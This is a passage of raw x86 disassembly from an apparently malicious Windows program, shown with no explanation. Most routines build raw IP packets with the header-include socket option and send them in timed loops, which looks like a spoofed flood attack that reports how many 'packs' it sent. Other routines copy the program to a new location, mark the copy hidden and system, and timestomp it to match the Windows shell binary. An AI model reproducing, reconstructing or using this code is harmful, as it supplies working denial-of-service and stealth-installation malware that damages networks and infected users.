		push	38h
		push	offset word_675F6C
		mov	esi, eax
		push	eax
		call	sub_429420
		push	44h
		push	esi
		call	sub_426F62
		add	esp, 20h
		mov	word_675F96, ax
		lea	eax, [ebp+arg_0]
		push	10h
		push	eax
		push	1
		push	5Ch
		push	ebx
		push	[ebp+arg_10]
		call	dword_437294	; sendto
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_426FB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42722B	proc near		; CODE XREF: sub_42757B+85p

var_210		= byte ptr -210h
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_64		= byte ptr -64h
var_54		= byte ptr -54h
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		mov	esi, dword_4372C0
		push	edi
		push	[ebp+arg_0]
		call	esi ; dword_4372C0
		push	[ebp+arg_4]
		mov	[ebp+var_30], eax
		call	esi ; dword_4372C0
		push	0Eh
		mov	[ebp+arg_4], eax
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_7F]
		mov	[ebp+var_80], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_210]
		push	eax
		push	202h
		call	dword_4372B8	; WSAStartup
		test	eax, eax
		jnz	short loc_427292
		xor	esi, esi
		inc	esi
		push	esi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4372C8	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_427299


loc_427292:				; CODE XREF: sub_42722B+48j
		xor	eax, eax
		jmp	loc_4273E0
; ---------------------------------------------------------------------------


loc_427299:				; CODE XREF: sub_42722B+65j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_43728C	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4273D5
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		call	sub_429B9C
		mov	esi, dword_4372C4
		push	eax
		call	esi ; dword_4372C4
		mov	edi, [ebp+var_30]
		push	2Ch
		mov	[ebp+var_42], ax
		mov	[ebp+var_40], edi
		mov	[ebp+var_2C], 47h
		call	esi ; dword_4372C4
		push	ebx
		mov	[ebp+var_2A], ax
		call	esi ; dword_4372C4
		mov	[ebp+var_28], ax
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 2
		mov	[ebp+var_22], bx
		mov	[ebp+var_2B], bl
		mov	[ebp+var_1C], edi
		mov	[ebp+var_20], eax
		call	esi ; dword_4372C4
		push	ebx
		mov	[ebp+var_18], ax
		call	esi ; dword_4372C4
		push	1
		mov	[ebp+var_16], ax
		mov	[ebp+var_10], 11h
		mov	[ebp+var_F], 5
		call	esi ; dword_4372C4
		push	offset a0_0_0_0	; "0.0.0.0"
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], bl
		mov	[ebp+var_7], bl
		call	dword_4372C0	; inet_addr
		push	10h
		mov	[ebp+var_C], eax
		pop	esi
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		lea	eax, [ebp+var_80]
		mov	[ebp+var_4], edi
		push	eax
		mov	[ebp+var_E], bx
		call	sub_429420
		lea	eax, [ebp+var_80]
		push	esi
		push	eax
		call	sub_41E3E8
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_2C]
		push	1Ch
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_429420
		push	4
		lea	eax, [ebp+var_54]
		push	ebx
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_80]
		push	2Ch
		push	eax
		call	sub_41E3E8
		add	esp, 40h
		push	eax
		call	dword_4372A8	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	1Ch
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_429420
		add	esp, 0Ch
		lea	eax, [ebp+var_44]
		push	esi
		push	eax
		push	ebx
		lea	eax, [ebp+var_80]
		push	2Ch
		push	eax
		push	[ebp+arg_0]
		call	dword_437294	; sendto
		xor	ebx, ebx
		inc	ebx


loc_4273D5:				; CODE XREF: sub_42722B+84j
		push	[ebp+arg_0]
		call	dword_4372D8	; closesocket
		mov	eax, ebx


loc_4273E0:				; CODE XREF: sub_42722B+69j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42722B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4273E5	proc near		; CODE XREF: sub_42757B+ABp

var_194		= dword	ptr -194h
var_190		= byte ptr -190h
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 194h
		lea	eax, [esp+194h+var_190]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		push	202h
		call	dword_4372B8	; WSAStartup
		test	eax, eax
		jnz	loc_427558
		call	sub_429B9C
		push	38h
		push	1
		call	sub_42B39A
		pop	ecx
		xor	edi, edi
		pop	ecx
		mov	esi, eax
		push	1
		push	edi
		push	edi
		push	2
		push	3
		push	2
		call	dword_4372C8	; WSASocketA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+1A4h+var_194], ebx
		jz	loc_427558
		push	38h
		push	edi
		push	esi
		call	sub_429760
		mov	edi, dword_4372C4
		add	esp, 0Ch
		mov	byte ptr [esi+0Ch], 5
		mov	byte ptr [esi],	4
		push	7A69h
		call	edi ; dword_4372C4
		push	2000h
		mov	[esi+8], ax
		call	edi ; dword_4372C4
		mov	ebp, [esp+1A4h+arg_8]
		and	byte ptr [esi+15h], 0
		mov	[esi+0Eh], ax
		mov	eax, [esp+1A4h+arg_4]
		push	10h
		push	ebp
		push	0
		mov	byte ptr [esi+14h], 80h
		mov	[esi+18h], eax
		mov	eax, [ebp+4]
		push	31h
		push	esi
		push	ebx
		mov	ebx, dword_437294
		mov	[esi+1Ch], eax
		and	byte ptr [esi+21h], 0
		mov	byte ptr [esi+20h], 8
		call	ebx ; dword_437294
		cmp	eax, 0FFFFFFFFh
		jz	loc_427558
		push	38h
		call	edi ; dword_4372C4
		push	1
		mov	[esi+4], ax
		call	edi ; dword_4372C4
		push	21D9h
		mov	[esi+0Eh], ax
		mov	byte ptr [esi],	4
		call	edi ; dword_4372C4
		push	2000h
		mov	[esi+8], ax
		call	edi ; dword_4372C4
		or	[esi+0Eh], ax
		mov	eax, [esp+1A4h+arg_4]
		or	byte ptr [esi+14h], 0FFh
		and	byte ptr [esi+15h], 0
		mov	[esi+18h], eax
		mov	eax, [ebp+4]
		push	10h
		push	esi
		mov	[esi+1Ch], eax
		call	sub_426DD8
		pop	ecx
		mov	[esi+16h], ax
		pop	ecx
		and	byte ptr [esi+21h], 0
		push	10h
		push	ebp
		push	0
		push	31h
		push	esi
		mov	byte ptr [esi+20h], 8
		push	[esp+1B8h+var_194]
		call	ebx ; dword_437294
		cmp	eax, 0FFFFFFFFh
		jz	short loc_427558
		push	38h
		call	edi ; dword_4372C4
		push	1
		mov	[esi+4], ax
		call	edi ; dword_4372C4
		push	2000h
		mov	[esi+0Eh], ax
		call	edi ; dword_4372C4
		or	[esi+0Eh], ax
		push	20h
		push	esi
		call	sub_426DD8
		pop	ecx
		mov	[esi+16h], ax
		pop	ecx
		and	byte ptr [esi+20h], 0
		and	byte ptr [esi+21h], 0
		push	10h
		push	ebp
		push	0
		push	34h
		push	esi
		push	[esp+1B8h+var_194]
		call	ebx ; dword_437294
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42755C


loc_427558:				; CODE XREF: sub_4273E5+1Cj
					; sub_4273E5+4Fj ...
		xor	eax, eax
		jmp	short loc_427570
; ---------------------------------------------------------------------------


loc_42755C:				; CODE XREF: sub_4273E5+171j
		push	esi
		call	sub_4298F2
		pop	ecx
		push	[esp+1A4h+var_194]
		call	dword_4372D8	; closesocket
		xor	eax, eax
		inc	eax


loc_427570:				; CODE XREF: sub_4273E5+175j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 194h
		retn
sub_4273E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42757B	proc near		; DATA XREF: sub_40A9FE+7DD1o

var_14C		= dword	ptr -14Ch
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	48h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		mov	dword ptr [eax+11Ch], 1
		mov	eax, [ebp+var_14C]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_41E3EC
		mov	esi, dword_4372BC
		pop	ecx
		mov	edi, 0FFh
		push	edi
		push	3
		push	2
		call	esi ; dword_4372BC
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_2C]
		push	eax
		xor	ebx, ebx
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		call	sub_426D70
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_427776
		cmp	[ebp+var_44], ebx
		mov	[ebp+arg_0], ebx
		jl	short loc_427641
		mov	ebx, offset dword_457CF8


loc_4275F8:				; CODE XREF: sub_42757B+C4j
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		call	sub_42722B
		call	sub_426D23
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_426E2D
		add	esp, 10h
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		call	sub_41E3EC
		pop	ecx
		push	eax
		push	[ebp+var_4]
		call	sub_4273E5
		add	esp, 0Ch
		push	0Ah
		call	dword_437190	; Sleep
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_44]
		jle	short loc_4275F8


loc_427641:				; CODE XREF: sub_42757B+76j
		and	[ebp+arg_0], 0
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_41E3EC
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		jz	loc_427776
		push	10h
		lea	eax, [ebp+var_1C]
		push	0
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], ebx
		push	[ebp+var_48]
		call	dword_4372C4	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_1A], ax
		call	esi ; dword_4372BC
		test	eax, eax
		mov	[ebp+var_4], eax
		jl	loc_427776
		push	edi
		push	3
		push	2
		call	esi ; dword_4372BC
		test	eax, eax
		mov	[ebp+var_C], eax
		jl	loc_427776
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	[ebp+var_4]
		call	dword_4372CC	; connect
		mov	ebx, dword_4372D8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4276C7
		push	[ebp+var_4]
		call	ebx ; dword_4372D8


loc_4276C7:				; CODE XREF: sub_42757B+145j
		push	3
		call	dword_437190	; Sleep
		cmp	[ebp+var_44], 0
		jz	short loc_427709


loc_4276D5:				; CODE XREF: sub_42757B+18Cj
		push	[ebp+var_48]
		lea	eax, [ebp+var_148]
		lea	esi, [ebp+var_1C]
		push	eax
		push	[ebp+var_C]
		sub	esp, 10h
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		call	sub_426FB8
		add	esp, 1Ch
		push	0Ah
		call	dword_437190	; Sleep
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_44]
		jnz	short loc_4276D5


loc_427709:				; CODE XREF: sub_42757B+158j
		push	[ebp+var_4]
		call	ebx ; dword_4372D8
		push	[ebp+var_3C]
		call	sub_423623
		cmp	[ebp+var_34], 0
		pop	ecx
		mov	ebx, offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		mov	edi, offset aSsoce0jbtxi ; "sSOce0JbTXI/"
		mov	esi, offset aSSSWithDPackS ; "%s %s (%s) with (%d) pack(s)"
		jnz	short loc_427751
		cmp	[ebp+var_38], 0
		jnz	short loc_427757
		push	[ebp+var_44]
		lea	eax, [ebp+var_148]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_C8]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_41CE4A
		add	esp, 1Ch


loc_427751:				; CODE XREF: sub_42757B+1AFj
		cmp	[ebp+var_38], 0
		jz	short loc_427776


loc_427757:				; CODE XREF: sub_42757B+1B5j
		push	[ebp+var_44]
		lea	eax, [ebp+var_148]
		push	eax
		push	ebx
		push	edi
		lea	eax, [ebp+var_C8]
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_41CDD4
		add	esp, 1Ch


loc_427776:				; CODE XREF: sub_42757B+6Aj
					; sub_42757B+DCj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_42757B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42777F	proc near		; CODE XREF: sub_40A935+47p
					; sub_41E446+Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, offset asc_43D938 ; " "
		push	edi
		push	esi
		push	[esp+10h+arg_4]
		call	sub_429C5E
		mov	edi, [esp+14h+arg_0]
		xor	ebx, ebx
		inc	ebx
		pop	ecx
		cmp	[esp+10h+arg_8], ebx
		pop	ecx
		mov	[edi], eax
		jle	short loc_4277BA


loc_4277A2:				; CODE XREF: sub_42777F+39j
		push	esi
		push	0
		call	sub_429C5E
		pop	ecx
		mov	[edi+ebx*4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4277BA
		inc	ebx
		cmp	ebx, [esp+0Ch+arg_8]
		jl	short loc_4277A2


loc_4277BA:				; CODE XREF: sub_42777F+21j
					; sub_42777F+32j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42777F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4277C0	proc near		; CODE XREF: sub_40A9FE+4BEDp
					; sub_40A9FE+4CAEp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43706C	; GetFileAttributesA
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_4277C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4277D5	proc near		; CODE XREF: sub_40A9FE+4CBFp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43706C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4277E7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4277E7:				; CODE XREF: sub_4277D5+Dj
		movzx	eax, al
		shr	eax, 4
		and	eax, 1
		retn
sub_4277D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4277F1	proc near		; CODE XREF: sub_4278B2+EFp

var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_110]
		push	104h
		push	eax
		call	dword_437138	; GetWindowsDirectoryA
		push	1
		push	offset aShell	; "Shell"
		push	offset aSoftwareMicr_5 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_421340
		xor	ebx, ebx
		add	esp, 10h
		cmp	eax, ebx
		jz	short loc_4278AB
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		call	dword_437090	; lstrcatA
		mov	esi, dword_43705C
		mov	edi, 80h
		push	ebx
		push	edi
		push	3
		push	ebx
		push	1
		lea	eax, [ebp+var_110]
		push	80000000h
		push	eax
		call	esi ; dword_43705C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	short loc_4278AB
		lea	ecx, [ebp+var_C]
		push	ecx
		push	ebx
		push	ebx
		push	eax
		call	dword_437134	; GetFileTime
		push	[ebp+var_4]
		call	dword_437044	; CloseHandle
		push	ebx
		push	edi
		push	3
		push	ebx
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi ; dword_43705C
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4278AB
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	ebx
		push	esi
		call	dword_437130	; SetFileTime
		push	esi
		call	dword_437044	; CloseHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_4278AD
; ---------------------------------------------------------------------------


loc_4278AB:				; CODE XREF: sub_4277F1+3Bj
					; sub_4277F1+71j ...
		xor	eax, eax


loc_4278AD:				; CODE XREF: sub_4277F1+B8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4277F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4278B2	proc near		; CODE XREF: sub_418E0F+12Dp
					; sub_42245D+99p

var_30C		= byte ptr -30Ch
var_208		= byte ptr -208h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30Ch
		push	ebx
		push	esi
		mov	esi, 104h
		lea	eax, [ebp+var_208]
		push	esi
		xor	ebx, ebx
		push	eax
		push	ebx
		call	dword_437070	; GetModuleHandleA
		push	eax
		call	dword_43717C	; GetModuleFileNameA
		push	[ebp+arg_4]
		lea	eax, [ebp+var_104]
		push	[ebp+arg_0]
		push	offset dword_445D68
		push	esi
		push	eax
		call	sub_429BBE
		add	esp, 14h
		lea	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_4370B4	; lstrcpyA
		lea	eax, [ebp+var_30C]
		push	eax
		call	dword_456EAC	; PathRemoveFileSpecA
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	dword_437178	; lstrcmpiA
		test	eax, eax
		jz	loc_4279C0
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_43706C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_427956
		lea	eax, [ebp+var_104]
		push	80h
		push	eax
		call	dword_437068	; SetFileAttributesA


loc_427956:				; CODE XREF: sub_4278B2+90j
		mov	esi, dword_437064
		push	edi
		push	ebx
		jmp	short loc_427984
; ---------------------------------------------------------------------------


loc_427960:				; CODE XREF: sub_4278B2+E6j
		call	dword_437170	; RtlGetLastWin32Error
		test	ebx, ebx
		jnz	short loc_42799A
		cmp	eax, 20h
		jz	short loc_427974
		cmp	eax, 5
		jnz	short loc_42799A


loc_427974:				; CODE XREF: sub_4278B2+BBj
		xor	ebx, ebx
		push	3A98h
		inc	ebx
		call	dword_437190	; Sleep
		push	0


loc_427984:				; CODE XREF: sub_4278B2+ACj
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	esi ; dword_437064
		mov	edi, eax
		test	edi, edi
		jz	short loc_427960


loc_42799A:				; CODE XREF: sub_4278B2+B6j
					; sub_4278B2+C0j
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4277F1
		pop	ecx
		lea	eax, [ebp+var_104]
		push	7
		push	eax
		call	dword_437068	; SetFileAttributesA
		test	edi, edi
		pop	edi
		jz	short loc_4279C0
		xor	eax, eax
		inc	eax
		jmp	short loc_4279C2
; ---------------------------------------------------------------------------


loc_4279C0:				; CODE XREF: sub_4278B2+7Aj
					; sub_4278B2+107j
		xor	eax, eax


loc_4279C2:				; CODE XREF: sub_4278B2+10Cj
		pop	esi
		pop	ebx
		leave
		retn
sub_4278B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4279C6	proc near		; CODE XREF: sub_420B3B+B4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	40h
		mov	edx, offset dword_676018
		pop	ecx
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+4+arg_4]
		pop	edi
		cmp	eax, [esp+arg_8]
		jg	short loc_4279F7
		push	esi
		mov	esi, edx
		sub	esi, eax


loc_4279E5:				; CODE XREF: sub_4279C6+2Ej
		mov	ecx, [esp+4+arg_0]
		mov	cl, [eax+ecx]
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [esp+4+arg_8]
		jle	short loc_4279E5
		pop	esi


loc_4279F7:				; CODE XREF: sub_4279C6+18j
		mov	eax, edx
		retn
sub_4279C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4279FA	proc near		; CODE XREF: sub_40A9FE+7A6p
					; sub_40A9FE+7C3p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_427A87
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_427A87
		cmp	[ebp+arg_8], esi
		jz	short loc_427A87
		cmp	byte ptr [eax],	0
		jz	short loc_427A87
		push	ebx
		push	edi
		call	sub_4362D0
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_427A82
		push	[ebp+arg_4]
		push	edi
		call	sub_42AEA0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_427A7B
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_429D10
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_4293A0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_4299E0
		push	[ebp+arg_4]
		call	sub_4293A0
		add	esp, 20h
		add	eax, esi
		push	eax
		push	ebx
		call	dword_437090	; lstrcatA
		push	ebx
		push	edi
		call	dword_4370B4	; lstrcpyA
		mov	esi, edi


loc_427A7B:				; CODE XREF: sub_4279FA+3Cj
		push	ebx
		call	sub_4298F2
		pop	ecx


loc_427A82:				; CODE XREF: sub_4279FA+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_427A89
; ---------------------------------------------------------------------------


loc_427A87:				; CODE XREF: sub_4279FA+Cj
					; sub_4279FA+13j ...
		xor	eax, eax


loc_427A89:				; CODE XREF: sub_4279FA+8Bj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4279FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427A8D	proc near		; CODE XREF: sub_427B4E+38p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		xor	ebx, ebx
		jmp	short loc_427ABD
; ---------------------------------------------------------------------------


loc_427AA7:				; CODE XREF: sub_427A8D+36j
		mov	dl, [eax]
		cmp	dl, 3Fh
		jz	short loc_427AB8
		cmp	dl, 2Ah
		jnz	short loc_427ACA
		cmp	dl, 3Fh
		jnz	short loc_427ABB


loc_427AB8:				; CODE XREF: sub_427A8D+1Fj
		inc	ecx
		mov	[edi], ecx


loc_427ABB:				; CODE XREF: sub_427A8D+29j
		inc	dword ptr [esi]


loc_427ABD:				; CODE XREF: sub_427A8D+18j
		mov	ecx, [edi]
		mov	eax, [esi]
		cmp	[ecx], bl
		jnz	short loc_427AA7
		jmp	short loc_427ACA
; ---------------------------------------------------------------------------


loc_427AC7:				; CODE XREF: sub_427A8D+40j
		inc	eax
		mov	[esi], eax


loc_427ACA:				; CODE XREF: sub_427A8D+24j
					; sub_427A8D+38j
		cmp	byte ptr [eax],	2Ah
		jz	short loc_427AC7
		mov	ecx, [edi]
		mov	dl, [ecx]
		cmp	dl, bl
		jnz	short loc_427AEC
		cmp	[eax], bl
		jz	short loc_427ADF
		xor	eax, eax
		jmp	short loc_427B49
; ---------------------------------------------------------------------------


loc_427ADF:				; CODE XREF: sub_427A8D+4Cj
		cmp	dl, bl
		jnz	short loc_427AEC
		cmp	[eax], bl
		jnz	short loc_427AEC
		xor	eax, eax
		inc	eax
		jmp	short loc_427B49
; ---------------------------------------------------------------------------


loc_427AEC:				; CODE XREF: sub_427A8D+48j
					; sub_427A8D+54j ...
		push	ecx
		push	eax
		call	sub_427B4E
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_427B33


loc_427AF9:				; CODE XREF: sub_427A8D+A4j
		inc	dword ptr [edi]
		mov	eax, [edi]
		jmp	short loc_427B0B
; ---------------------------------------------------------------------------


loc_427AFF:				; CODE XREF: sub_427A8D+86j
		cmp	cl, 5Bh
		jz	short loc_427B15
		cmp	dl, bl
		jz	short loc_427B15
		inc	eax
		mov	[edi], eax


loc_427B0B:				; CODE XREF: sub_427A8D+70j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jnz	short loc_427AFF


loc_427B15:				; CODE XREF: sub_427A8D+75j
					; sub_427A8D+79j
		cmp	[eax], bl
		jz	short loc_427B2A
		push	eax
		push	dword ptr [esi]
		call	sub_427B4E
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_427B2F
; ---------------------------------------------------------------------------


loc_427B2A:				; CODE XREF: sub_427A8D+8Aj
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_427B2F:				; CODE XREF: sub_427A8D+9Bj
		cmp	eax, ebx
		jnz	short loc_427AF9


loc_427B33:				; CODE XREF: sub_427A8D+6Aj
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_427B46
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_427B46
		mov	[ebp+var_4], 1


loc_427B46:				; CODE XREF: sub_427A8D+AAj
					; sub_427A8D+B0j
		mov	eax, [ebp+var_4]


loc_427B49:				; CODE XREF: sub_427A8D+50j
					; sub_427A8D+5Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_427A8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427B4E	proc near		; CODE XREF: sub_404525+1AFp
					; sub_404525+1CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	esi
		mov	esi, [ebp+arg_0]
		inc	eax
		jmp	short loc_427B95
; ---------------------------------------------------------------------------


loc_427B5A:				; CODE XREF: sub_427B4E+4Bj
		cmp	eax, 1
		jnz	short loc_427BA3
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_427BA3
		cmp	cl, 2Ah
		jz	short loc_427B7E
		cmp	cl, 3Fh
		jz	short loc_427B79
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_427B79:				; CODE XREF: sub_427B4E+22j
		inc	[ebp+arg_4]
		jmp	short loc_427B91
; ---------------------------------------------------------------------------


loc_427B7E:				; CODE XREF: sub_427B4E+1Dj
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_427A8D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_427B91:				; CODE XREF: sub_427B4E+2Ej
		inc	esi
		mov	[ebp+arg_0], esi


loc_427B95:				; CODE XREF: sub_427B4E+Aj
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_427B5A
		jmp	short loc_427BA3
; ---------------------------------------------------------------------------


loc_427B9D:				; CODE XREF: sub_427B4E+58j
		cmp	eax, 1
		jnz	short loc_427BBF
		inc	esi


loc_427BA3:				; CODE XREF: sub_427B4E+Fj
					; sub_427B4E+18j ...
		cmp	byte ptr [esi],	2Ah
		jz	short loc_427B9D
		cmp	eax, 1
		jnz	short loc_427BBF
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_427BBF
		cmp	byte ptr [esi],	0
		jnz	short loc_427BBF
		xor	eax, eax
		inc	eax
		jmp	short loc_427BC1
; ---------------------------------------------------------------------------


loc_427BBF:				; CODE XREF: sub_427B4E+52j
					; sub_427B4E+5Dj ...
		xor	eax, eax


